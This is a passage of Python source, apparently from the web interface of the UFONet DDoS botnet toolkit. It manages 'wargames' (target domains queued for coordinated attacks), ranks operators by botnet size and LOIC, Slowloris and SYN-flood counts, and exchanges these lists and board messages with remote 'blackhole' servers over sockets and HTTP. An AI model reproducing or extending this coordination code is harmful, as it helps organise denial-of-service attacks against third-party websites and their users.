  2560. self.list_wargames.reverse()
  2561. try:
  2562. job_task = self.list_wargames[(int(job_id)-1)]
  2563. f = open(self.wargames_file,"r")
  2564. ls = f.readlines()
  2565. f.close()
  2566. f = open(self.wargames_file,"w")
  2567. for l in ls:
  2568. if str(l) != str(job_task):
  2569. f.write(l)
  2570. else:
  2571. sep = "#-#"
  2572. job_t2 = job_task.rsplit(sep, 1)[0]
  2573. job_creation = job_t2.rsplit(sep, 1)[0]
  2574. job_target = job_t2.rsplit(sep, 1)[1]
  2575. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  2576. job_estimated = job_task.rsplit(sep, 1)[1]
  2577. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  2578. f.write(l)
  2579. f.close()
  2580. except:
  2581. pass
  2582. if page == "/cmd_job_cancel_update":
  2583. if not os.path.exists('/tmp/out'):
  2584. open('/tmp/out', 'w').close()
  2585. with open('/tmp/out', 'r') as f:
  2586. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  2587. if page == "/cmd_job_cancel_all":
  2588. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  2589. try:
  2590. self.list_wargames.reverse()
  2591. f = open(self.wargames_file,"r")
  2592. ls = f.readlines()
  2593. f.close()
  2594. f = open(self.wargames_file,"w")
  2595. sep = "#-#"
  2596. for l in ls:
  2597. job_t2 = l.rsplit(sep, 1)[0]
  2598. job_creation = job_t2.rsplit(sep, 1)[0]
  2599. job_target = job_t2.rsplit(sep, 1)[1]
  2600. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  2601. job_estimated = l.rsplit(sep, 1)[1]
  2602. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  2603. f.write(l)
  2604. f.close()
  2605. except:
  2606. pass
  2607. if page == "/cmd_job_cancel_all_update":
  2608. if not os.path.exists('/tmp/out'):
  2609. open('/tmp/out', 'w').close()
  2610. with open('/tmp/out', 'r') as f:
  2611. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  2612. if page == "/cmd_job_filter":
  2613. try:
  2614. job_filter = pGet["filter"]
  2615. job_key = pGet["key"]
  2616. except:
  2617. job_filter = "creation"
  2618. job_key = str(self.crypto_key)
  2619. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  2620. nodec_text = "KEY?"
  2621. try:
  2622. wargames_items=[]
  2623. f = open(self.wargames_file,"r")
  2624. ls = f.readlines()
  2625. f.close()
  2626. f = open(self.wargames_file,"w")
  2627. for j in ls:
  2628. if wargames_msg_sep in j:
  2629. m = j.split(wargames_msg_sep)
  2630. wargames_creation = m[0] # creation date
  2631. self.decrypt(job_key, wargames_creation)
  2632. if self.decryptedtext:
  2633. wargames_creation = self.decryptedtext
  2634. else:
  2635. wargames_creation = nodec_text
  2636. self.decryptedtext = "" # clean decryptedtext buffer
  2637. wargames_target = m[1] # target
  2638. self.decrypt(job_key, wargames_target)
  2639. if self.decryptedtext:
  2640. wargames_target = self.decryptedtext
  2641. if wargames_target.startswith("www."):
  2642. wargames_target = wargames_target.replace("www.","")
  2643. else:
  2644. wargames_target = nodec_text
  2645. self.decryptedtext = "" # clean decryptedtext buffer
  2646. wargames_estimated = m[2] # estimated date
  2647. self.decrypt(job_key, wargames_estimated)
  2648. if self.decryptedtext:
  2649. wargames_estimated = self.decryptedtext
  2650. else:
  2651. wargames_estimated = nodec_text
  2652. self.decryptedtext = "" # clean decryptedtext buffer
  2653. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  2654. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  2655. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  2656. if job_filter == "creation":
  2657. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  2658. elif job_filter == "target":
  2659. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  2660. elif job_filter == "estimated":
  2661. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  2662. else:
  2663. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  2664. for i in wargames_items:
  2665. wargames_creation = i[0]
  2666. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  2667. self.encrypt(job_key, wargames_creation)
  2668. if self.encryptedtext:
  2669. wargames_creation = self.encryptedtext
  2670. self.encryptedtext = "" # clean encryptedtext buffer
  2671. wargames_target = str(i[1])
  2672. self.encrypt(job_key, wargames_target)
  2673. if self.encryptedtext:
  2674. wargames_target = self.encryptedtext
  2675. self.encryptedtext = "" # clean encryptedtext buffer
  2676. wargames_estimated = i[2]
  2677. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  2678. self.encrypt(job_key, wargames_estimated)
  2679. if self.encryptedtext:
  2680. wargames_estimated = self.encryptedtext
  2681. self.encryptedtext = "" # clean encryptedtext buffer
  2682. l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated)
  2683. f.write(l + os.linesep)
  2684. f.close()
  2685. except:
  2686. pass
  2687. if page == "/cmd_job_filter_update":
  2688. if not os.path.exists('/tmp/out'):
  2689. open('/tmp/out', 'w').close()
  2690. with open('/tmp/out', 'r') as f:
  2691. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  2692. if page == "/cmd_grid_filter":
  2693. try:
  2694. grid_filter = pGet["filter"]
  2695. grid_key = pGet["key"]
  2696. except:
  2697. grid_filter = "missions" # default grid order by
  2698. grid_key = str(self.crypto_key)
  2699. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  2700. nodec_text = "KEY?"
  2701. nodec_num = 0
  2702. try:
  2703. grid_items=[]
  2704. f = open(self.grid_file,"r")
  2705. ls = f.readlines()
  2706. f.close()
  2707. f = open(self.grid_file,"w")
  2708. for j in ls:
  2709. if grid_msg_sep in j:
  2710. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1)
  2711. m = j.split(grid_msg_sep)
  2712. grid_nickname = m[0] # nickname
  2713. self.decrypt(grid_key, grid_nickname)
  2714. if self.decryptedtext:
  2715. grid_nickname = str(self.decryptedtext)
  2716. else:
  2717. grid_nickname = nodec_text
  2718. self.decryptedtext = "" # clean decryptedtext buffer
  2719. grid_ranking = m[1] # ranking
  2720. self.decrypt(grid_key, grid_ranking)
  2721. if self.decryptedtext:
  2722. try:
  2723. grid_ranking = int(self.decryptedtext)
  2724. except:
  2725. grid_ranking = nodec_num
  2726. else:
  2727. grid_ranking = nodec_num
  2728. self.decryptedtext = "" # clean decryptedtext buffer
  2729. grid_totalchargo = m[2] # total chargo
  2730. self.decrypt(grid_key, grid_totalchargo)
  2731. if self.decryptedtext:
  2732. try:
  2733. grid_totalchargo = int(self.decryptedtext)
  2734. except:
  2735. grid_totalchargo = nodec_num
  2736. else:
  2737. grid_totalchargo = nodec_num
  2738. self.decryptedtext = "" # clean decryptedtext buffer
  2739. grid_dorking = m[3] # dorking
  2740. self.decrypt(grid_key, grid_dorking)
  2741. if self.decryptedtext:
  2742. try:
  2743. grid_dorking = int(self.decryptedtext)
  2744. except:
  2745. grid_dorking = nodec_num
  2746. else:
  2747. grid_dorking = nodec_num
  2748. self.decryptedtext = "" # clean decryptedtext buffer
  2749. grid_transferred = m[4] # transferred
  2750. self.decrypt(grid_key, grid_transferred)
  2751. if self.decryptedtext:
  2752. try:
  2753. grid_transferred = int(self.decryptedtext)
  2754. except:
  2755. grid_transferred = nodec_num
  2756. else:
  2757. grid_transferred = nodec_num
  2758. self.decryptedtext = "" # clean decryptedtext buffer
  2759. grid_maxchargo = m[5] # maxchargo
  2760. self.decrypt(grid_key, grid_maxchargo)
  2761. if self.decryptedtext:
  2762. try:
  2763. grid_maxchargo = int(self.decryptedtext)
  2764. except:
  2765. grid_maxchargo = nodec_num
  2766. else:
  2767. grid_maxchargo = nodec_num
  2768. self.decryptedtext = "" # clean decryptedtext buffer
  2769. grid_missions = m[6] # missions
  2770. self.decrypt(grid_key, grid_missions)
  2771. if self.decryptedtext:
  2772. try:
  2773. grid_missions = int(self.decryptedtext)
  2774. except:
  2775. grid_missions = nodec_num
  2776. else:
  2777. grid_missions = nodec_num
  2778. self.decryptedtext = "" # clean decryptedtext buffer
  2779. grid_attacks = m[7] # attacks
  2780. self.decrypt(grid_key, grid_attacks)
  2781. if self.decryptedtext:
  2782. try:
  2783. grid_attacks = int(self.decryptedtext)
  2784. except:
  2785. grid_attacks = nodec_num
  2786. else:
  2787. grid_attacks = nodec_num
  2788. self.decryptedtext = "" # clean decryptedtext buffer
  2789. grid_loic = m[8] # loic
  2790. self.decrypt(grid_key, grid_loic)
  2791. if self.decryptedtext:
  2792. try:
  2793. grid_loic = int(self.decryptedtext)
  2794. except:
  2795. grid_loic = nodec_num
  2796. else:
  2797. grid_loic = nodec_num
  2798. if version == 12: # v1.1
  2799. grid_loris = m[9] # loris
  2800. self.decrypt(grid_key, grid_loris)
  2801. if self.decryptedtext:
  2802. try:
  2803. grid_loris = int(self.decryptedtext)
  2804. except:
  2805. grid_loris = nodec_num
  2806. else:
  2807. grid_loris = nodec_num
  2808. self.decryptedtext = "" # clean decryptedtext buffer
  2809. grid_ufosyn = m[10] # ufosyn
  2810. self.decrypt(grid_key, grid_ufosyn)
  2811. if self.decryptedtext:
  2812. try:
  2813. grid_ufosyn = int(self.decryptedtext)
  2814. except:
  2815. grid_ufosyn = nodec_num
  2816. else:
  2817. grid_ufosyn = nodec_num
  2818. self.decryptedtext = "" # clean decryptedtext buffer
  2819. grid_contact = m[11] # contact
  2820. self.decrypt(grid_key, grid_contact)
  2821. if self.decryptedtext:
  2822. grid_contact = self.decryptedtext
  2823. else:
  2824. grid_contact = nodec_text
  2825. self.decryptedtext = "" # clean decryptedtext buffer
  2826. grid_id = m[12] # id
  2827. elif version == 11: # v1.0
  2828. grid_loris = m[9] # loris
  2829. self.decrypt(grid_key, grid_loris)
  2830. if self.decryptedtext:
  2831. try:
  2832. grid_loris = int(self.decryptedtext)
  2833. except:
  2834. grid_loris = nodec_num
  2835. else:
  2836. grid_loris = nodec_num
  2837. self.decryptedtext = "" # clean decryptedtext buffer
  2838. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  2839. self.decrypt(grid_key, grid_ufosyn)
  2840. if self.decryptedtext:
  2841. try:
  2842. grid_ufosyn = int(self.decryptedtext)
  2843. except:
  2844. grid_ufosyn = nodec_num
  2845. else:
  2846. grid_ufosyn = nodec_num
  2847. self.decryptedtext = "" # clean decryptedtext buffer
  2848. grid_contact = m[10] # contact
  2849. self.decrypt(grid_key, grid_contact)
  2850. if self.decryptedtext:
  2851. grid_contact = self.decryptedtext
  2852. else:
  2853. grid_contact = nodec_text
  2854. self.decryptedtext = "" # clean decryptedtext buffer
  2855. grid_id = m[11] # id
  2856. elif version == 10: # v0.9
  2857. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  2858. self.decrypt(grid_key, grid_loris)
  2859. if self.decryptedtext:
  2860. try:
  2861. grid_loris = int(self.decryptedtext)
  2862. except:
  2863. grid_loris = nodec_num
  2864. else:
  2865. grid_loris = nodec_num
  2866. self.decryptedtext = "" # clean decryptedtext buffer
  2867. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  2868. self.decrypt(grid_key, grid_ufosyn)
  2869. if self.decryptedtext:
  2870. try:
  2871. grid_ufosyn = int(self.decryptedtext)
  2872. except:
  2873. grid_ufosyn = nodec_num
  2874. else:
  2875. grid_ufosyn = nodec_num
  2876. self.decryptedtext = "" # clean decryptedtext buffer
  2877. grid_contact = m[9] # contact
  2878. self.decrypt(grid_key, grid_contact)
  2879. if self.decryptedtext:
  2880. grid_contact = self.decryptedtext
  2881. else:
  2882. grid_contact = nodec_text
  2883. self.decryptedtext = "" # clean decryptedtext buffer
  2884. grid_id = m[10] # id
  2885. else: # no valid version
  2886. pass
  2887. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),str(grid_contact),str(grid_id)])
  2888. if grid_filter == "nickname":
  2889. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  2890. elif grid_filter == "ranking":
  2891. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  2892. elif grid_filter == "chargo":
  2893. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  2894. elif grid_filter == "dorking":
  2895. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  2896. elif grid_filter == "transferred":
  2897. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  2898. elif grid_filter == "maxchargo":
  2899. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  2900. elif grid_filter == "missions":
  2901. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  2902. elif grid_filter == "attacks":
  2903. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  2904. elif grid_filter == "loic":
  2905. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  2906. elif grid_filter == "loris":
  2907. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  2908. elif grid_filter == "ufosyn":
  2909. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  2910. elif grid_filter == "contact":
  2911. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by contact
  2912. else:
  2913. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  2914. for i in grid_items:
  2915. grid_nickname = str(i[0])
  2916. self.encrypt(grid_key, grid_nickname)
  2917. if self.encryptedtext:
  2918. grid_nickname = self.encryptedtext
  2919. self.encryptedtext = "" # clean encryptedtext buffer
  2920. grid_ranking = str(i[1])
  2921. self.encrypt(grid_key, grid_ranking)
  2922. if self.encryptedtext:
  2923. grid_ranking = self.encryptedtext
  2924. self.encryptedtext = "" # clean encryptedtext buffer
  2925. grid_totalchargo = str(i[2])
  2926. self.encrypt(grid_key, grid_totalchargo)
  2927. if self.encryptedtext:
  2928. grid_totalchargo = self.encryptedtext
  2929. self.encryptedtext = "" # clean encryptedtext buffer
  2930. grid_dorking = str(i[3])
  2931. self.encrypt(grid_key, grid_dorking)
  2932. if self.encryptedtext:
  2933. grid_dorking = self.encryptedtext
  2934. self.encryptedtext = "" # clean encryptedtext buffer
  2935. grid_transferred = str(i[4])
  2936. self.encrypt(grid_key, grid_transferred)
  2937. if self.encryptedtext:
  2938. grid_transferred = self.encryptedtext
  2939. self.encryptedtext = "" # clean encryptedtext buffer
  2940. grid_maxchargo = str(i[5])
  2941. self.encrypt(grid_key, grid_maxchargo)
  2942. if self.encryptedtext:
  2943. grid_maxchargo = self.encryptedtext
  2944. self.encryptedtext = "" # clean encryptedtext buffer
  2945. grid_missions = str(i[6])
  2946. self.encrypt(grid_key, grid_missions)
  2947. if self.encryptedtext:
  2948. grid_missions = self.encryptedtext
  2949. self.encryptedtext = "" # clean encryptedtext buffer
  2950. grid_attacks = str(i[7])
  2951. self.encrypt(grid_key, grid_attacks)
  2952. if self.encryptedtext:
  2953. grid_attacks = self.encryptedtext
  2954. self.encryptedtext = "" # clean encryptedtext buffer
  2955. grid_loic = str(i[8])
  2956. self.encrypt(grid_key, grid_loic)
  2957. if self.encryptedtext:
  2958. grid_loic = self.encryptedtext
  2959. self.encryptedtext = "" # clean encryptedtext buffer
  2960. grid_loris = str(i[9])
  2961. self.encrypt(grid_key, grid_loris)
  2962. if self.encryptedtext:
  2963. grid_loris = self.encryptedtext
  2964. self.encryptedtext = "" # clean encryptedtext buffer
  2965. grid_ufosyn = str(i[10])
  2966. self.encrypt(grid_key, grid_ufosyn)
  2967. if self.encryptedtext:
  2968. grid_ufosyn = self.encryptedtext
  2969. self.encryptedtext = "" # clean encryptedtext buffer
  2970. grid_contact = str(i[11])
  2971. self.encrypt(grid_key, grid_contact)
  2972. if self.encryptedtext:
  2973. grid_contact = self.encryptedtext
  2974. self.encryptedtext = "" # clean encryptedtext buffer
  2975. grid_id = str(i[12]) # id (plain id)
  2976. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  2977. f.write(l)
  2978. f.close()
  2979. except:
  2980. pass
  2981. if page == "/cmd_grid_filter_update":
  2982. if not os.path.exists('/tmp/out'):
  2983. open('/tmp/out', 'w').close()
  2984. with open('/tmp/out', 'r') as f:
  2985. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  2986. if page == "/cmd_transfer_grid":
  2987. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  2988. blackhole_ip = pGet["grid_source"]
  2989. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2990. try:
  2991. grid_key = pGet["grid_key"]
  2992. except:
  2993. grid_key = ""
  2994. end_mark = "\n[Mothership/Info] End of transmission. Refreshing grid..."
  2995. if grid_key is not "": # stream creation + encryption + package send
  2996. try:
  2997. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  2998. grid_data = json.load(grid_json_file)
  2999. grid_json_file.close()
  3000. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  3001. stats_data = json.load(stats_json_file)
  3002. stats_json_file.close()
  3003. nickname = grid_data["grid_nick"].encode('utf-8')
  3004. self.encrypt(grid_key, nickname)
  3005. if self.encryptedtext:
  3006. nickname = self.encryptedtext
  3007. self.encryptedtext = "" # clean encryptedtext buffer
  3008. ranking = self.ranking
  3009. if ranking == "Rookie":
  3010. ranking = 1
  3011. elif ranking == "Mercenary":
  3012. ranking = 2
  3013. elif ranking == "Bandit":
  3014. ranking = 3
  3015. elif ranking == "UFOmmander!":
  3016. ranking = 4
  3017. else:
  3018. ranking = 1
  3019. self.encrypt(grid_key, str(ranking))
  3020. if self.encryptedtext:
  3021. ranking = self.encryptedtext
  3022. self.encryptedtext = "" # clean encryptedtext buffer
  3023. chargo = self.total_botnet
  3024. self.encrypt(grid_key, str(chargo))
  3025. if self.encryptedtext:
  3026. chargo = self.encryptedtext
  3027. self.encryptedtext = "" # clean encryptedtext buffer
  3028. dorking = stats_data["scanner"]
  3029. self.encrypt(grid_key, str(dorking))
  3030. if self.encryptedtext:
  3031. dorking = self.encryptedtext
  3032. self.encryptedtext = "" # clean encryptedtext buffer
  3033. transferred = stats_data["transferred"]
  3034. self.encrypt(grid_key, str(transferred))
  3035. if self.encryptedtext:
  3036. transferred = self.encryptedtext
  3037. self.encryptedtext = "" # clean encryptedtext buffer
  3038. max_chargo = stats_data["max_chargo"]
  3039. self.encrypt(grid_key, str(max_chargo))
  3040. if self.encryptedtext:
  3041. max_chargo = self.encryptedtext
  3042. self.encryptedtext = "" # clean encryptedtext buffer
  3043. missions = stats_data["missions"]
  3044. self.encrypt(grid_key, str(missions))
  3045. if self.encryptedtext:
  3046. missions = self.encryptedtext
  3047. self.encryptedtext = "" # clean encryptedtext buffer
  3048. attacks = stats_data["completed"]
  3049. self.encrypt(grid_key, str(attacks))
  3050. if self.encryptedtext:
  3051. attacks = self.encryptedtext
  3052. self.encryptedtext = "" # clean encryptedtext buffer
  3053. loic = stats_data["loic"]
  3054. self.encrypt(grid_key, str(loic))
  3055. if self.encryptedtext:
  3056. loic = self.encryptedtext
  3057. self.encryptedtext = "" # clean encryptedtext buffer
  3058. loris = stats_data["loris"]
  3059. self.encrypt(grid_key, str(loris))
  3060. if self.encryptedtext:
  3061. loris = self.encryptedtext
  3062. self.encryptedtext = "" # clean encryptedtext buffer
  3063. ufosyn = stats_data["ufosyn"]
  3064. self.encrypt(grid_key, str(ufosyn))
  3065. if self.encryptedtext:
  3066. ufosyn = self.encryptedtext
  3067. self.encryptedtext = "" # clean encryptedtext buffer
  3068. contact = grid_data["grid_contact"].encode('utf-8')
  3069. self.encrypt(grid_key, str(contact))
  3070. if self.encryptedtext:
  3071. contact = self.encryptedtext
  3072. self.encryptedtext = "" # clean encryptedtext buffer
  3073. id = grid_data["grid_token"] # plain text
  3074. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  3075. try:
  3076. host = blackhole_ip
  3077. cport = 9992 # port used by mothership grider (server side script)
  3078. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3079. gs.settimeout(5.0)
  3080. gs.connect((host, cport))
  3081. gs.send(stream)
  3082. gs.close()
  3083. try: # download latest grid after submit
  3084. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  3085. f = open(self.grid_file, "w") # write updates to grid.txt
  3086. f.write(str(grid))
  3087. f.close()
  3088. except:
  3089. pass
  3090. grid_trans = "[Mothership/Info] Congratulations. Statistics successfully transferred...\n"
  3091. except:
  3092. grid_trans = "[Mothership/Error] Something wrong when uploading statistics to this grid. Try it again...\n"
  3093. except:
  3094. grid_trans = "[Mothership/Error] Something wrong when uploading statistics to this grid. Try it again...\n"
  3095. end_mark = "\n[Mothership/Info] End of transmission. Refreshing grid..."
  3096. f = open("/tmp/out", "w")
  3097. f.write(grid_trans)
  3098. f.write(end_mark)
  3099. f.close()
  3100. if page == "/cmd_transfer_grid_update":
  3101. if not os.path.exists('/tmp/out'):
  3102. open('/tmp/out', 'w').close()
  3103. with open('/tmp/out', 'r') as f:
  3104. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  3105. if page == "/cmd_transfer_wargame":
  3106. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3107. blackhole_ip = pGet["wargames_source2"]
  3108. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3109. try:
  3110. wargames_enckey = pGet["wargames_enckey"]
  3111. except:
  3112. wargames_enckey = ""
  3113. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  3114. wargames_target = pGet["wargames_target"]
  3115. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  3116. t = urlparse(str(wargames_target))
  3117. wargames_target = t.netloc
  3118. else:
  3119. wargames_trans = "[Mothership/Error] Proposed target is not using a correct format!. Try it again...\n"
  3120. wargames_enckey = ""
  3121. if wargames_target.startswith("www."):
  3122. wargames_target = wargames_target.replace("www.","")
  3123. wargames_estimated = pGet["wargames_estimated"]
  3124. try:
  3125. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  3126. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  3127. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  3128. wargames_trans = "[Mothership/Error] Date time should be major than creation time. Try it again...\n"
  3129. wargames_enckey = ""
  3130. except:
  3131. wargames_trans = "[Mothership/Error] Date time is not using a correct format!. Try it again...\n"
  3132. wargames_enckey = ""
  3133. end_mark = "\n[Mothership/Info] End of transmission. Refreshing wargames..."
  3134. if wargames_enckey is not "": # stream creation + encryption + package send
  3135. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3136. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3137. try:
  3138. self.encrypt(wargames_enckey, wargames_creation)
  3139. if self.encryptedtext:
  3140. wargames_creation = self.encryptedtext
  3141. self.encryptedtext = "" # clean encryptedtext buffer
  3142. self.encrypt(wargames_enckey, wargames_target)
  3143. if self.encryptedtext:
  3144. wargames_target = self.encryptedtext
  3145. self.encryptedtext = "" # clean encryptedtext buffer
  3146. self.encrypt(wargames_enckey, wargames_estimated)
  3147. if self.encryptedtext:
  3148. wargames_estimated = self.encryptedtext
  3149. self.encryptedtext = "" # clean encryptedtext buffer
  3150. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  3151. try:
  3152. host = blackhole_ip
  3153. cport = 9992 # port used by mothership grider (server side script)
  3154. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3155. gs.settimeout(5.0)
  3156. gs.connect((host, cport))
  3157. gs.send(stream)
  3158. gs.close()
  3159. try: # download latest wargames after submit
  3160. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  3161. f = open(self.wargames_file, "w") # write updates to wargames.txt
  3162. f.write(str(wargames))
  3163. f.close()
  3164. except:
  3165. pass
  3166. wargames_trans = "[Mothership/Info] Congratulations. Wargame successfully transferred...\n"
  3167. except:
  3168. wargames_trans = "[Mothership/Error] Something wrong when uploading wargame. Try it again...\n"
  3169. except:
  3170. wargames_trans = "[Mothership/Error] Something wrong when uploading wargame. Try it again...\n"
  3171. end_mark = "\n[Mothership/Info] End of transmission. Refreshing wargames..."
  3172. f = open("/tmp/out", "w")
  3173. f.write(wargames_trans)
  3174. f.write(end_mark)
  3175. f.close()
  3176. if page == "/cmd_transfer_wargame_update":
  3177. if not os.path.exists('/tmp/out'):
  3178. open('/tmp/out', 'w').close()
  3179. with open('/tmp/out', 'r') as f:
  3180. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  3181. if page == "/cmd_sync_board":
  3182. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3183. blackhole_ip = pGet["board_source"]
  3184. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3185. try:
  3186. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  3187. f = open(self.board_file, "w") # write updates to board.txt
  3188. f.write(str(board))
  3189. f.close()
  3190. self.board_text = board
  3191. except:
  3192. board = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  3193. end_mark = "\n[Mothership/Info] End of transmission. Refreshing board..."
  3194. f = open("/tmp/out", "w")
  3195. f.write(str(board))
  3196. f.write(end_mark)
  3197. f.close()
  3198. if page == "/cmd_sync_board_update":
  3199. if not os.path.exists('/tmp/out'):
  3200. open('/tmp/out', 'w').close()
  3201. with open('/tmp/out', 'r') as f:
  3202. stream = f.read()
  3203. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3204. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  3205. if page == "/cmd_send_message_board":
  3206. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3207. blackhole_ip = pGet["board_source"]
  3208. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3209. try:
  3210. board_key = pGet["board_key"]
  3211. except:
  3212. board_key = ""
  3213. try:
  3214. board_topic = pGet["board_topic"]
  3215. except:
  3216. board_topic = ""
  3217. try:
  3218. board_message = pGet["stream_txt"]
  3219. except:
  3220. board_message = ""
  3221. end_mark = "\n[Mothership/Info] End of transmission. Refreshing board..."
  3222. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  3223. try:
  3224. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  3225. board_data = json.load(board_json_file)
  3226. board_json_file.close()
  3227. board_nickname = board_data["profile_nick"]
  3228. self.encrypt(board_key, board_nickname)
  3229. if self.encryptedtext:
  3230. board_nickname = self.encryptedtext
  3231. self.encryptedtext = "" # clean encryptedtext buffer
  3232. board_icon = board_data["profile_icon"]
  3233. board_icon = board_icon.replace("link", "") # keep just icon number
  3234. board_id = board_data["profile_token"]
  3235. self.encrypt(board_key, board_message)
  3236. if self.encryptedtext:
  3237. board_message = self.encryptedtext
  3238. self.encryptedtext = "" # clean encryptedtext buffer
  3239. if board_topic == "general":
  3240. board_topic = 1
  3241. elif board_topic == "opsec":
  3242. board_topic = 2
  3243. elif board_topic == "faq":
  3244. board_topic = 3
  3245. elif board_topic == "bugs":
  3246. board_topic = 4
  3247. elif board_topic == "media":
  3248. board_topic = 5
  3249. else:
  3250. board_topic = 1
  3251. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  3252. try:
  3253. host = blackhole_ip
  3254. cport = 9992 # port used by mothership grider (server side script)
  3255. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3256. gs.settimeout(5.0)
  3257. gs.connect((host, cport))
  3258. gs.send(stream)
  3259. gs.close()
  3260. try: # download latest board after submit
  3261. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  3262. f = open(self.board_file, "w") # write updates to board.txt
  3263. f.write(str(board))
  3264. f.close()
  3265. except:
  3266. pass
